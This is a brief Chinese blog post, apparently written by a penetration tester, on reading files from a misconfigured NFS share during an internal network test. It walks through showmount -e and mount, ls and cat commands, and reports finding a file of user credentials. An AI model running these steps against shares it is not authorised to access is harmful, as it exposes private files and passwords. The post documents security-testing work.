内网渗透之NFS服务如何读取文件

来源于一次内网渗透测试项目中遇到的情况,当时并不知道NFS是干啥的

什么是NFS

NFS(Network File System,网络文件系统)是一种分布式文件系统协议,允许客户端通过网络访问远程服务器上的文件,就像访问本地文件一样。

其实本质上就是一个文件共享

过程

fscan扫描内网后发现主机端口2049开启,是NFS共享文件的默认端口

NFS的请求原理是这样的

1
2
3
4
5
6
7
客户端                    服务器
| |
|--- 挂载请求 (2049端口) -->|
|<-- 返回共享目录 ---------|
| |
|--- 读写文件请求 -------->|
|<-- 返回文件内容 ---------|

当NFS存在配置错误,比如将共享文件的权限开放时,就会出现任意文件读取的情况,尽管NFS服务对应的客户端不是攻击者IP

可以用showmount命令

image-20260322015759117

1
`showmount -e` 会列出目标机器导出(export)的共享目录

如果想读取文件,需要在本地创建一个挂载目录,并使用 mount 命令将远程共享目录挂载到该目录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mkdir -p /mnt/nfs
mount -t nfs [IP]:/[文件] /mnt/nfs
ls /mnt/nfs
cat /mnt/nfs/[文件]
# 创建本地挂载点
mkdir -p /mnt/nfs_data

# 挂载 NFS 文件系统
mount -t nfs 192.168.1.100:/home/data /mnt/nfs_data
# 查看目录内容
ls -l /mnt/nfs_data

# 使用 cat 读取文件内容
cat /mnt/nfs_data/readme.txt

# 使用 less 分页查看
less /mnt/nfs_data/large_file.log

成果

我也不知道能不能展示,最后的话是读取到有一个key.txt 文件,里面有一些user的用户名密码,也算是打出效果了,但总感觉捡漏了?

-------------本文结束感谢您的阅读-------------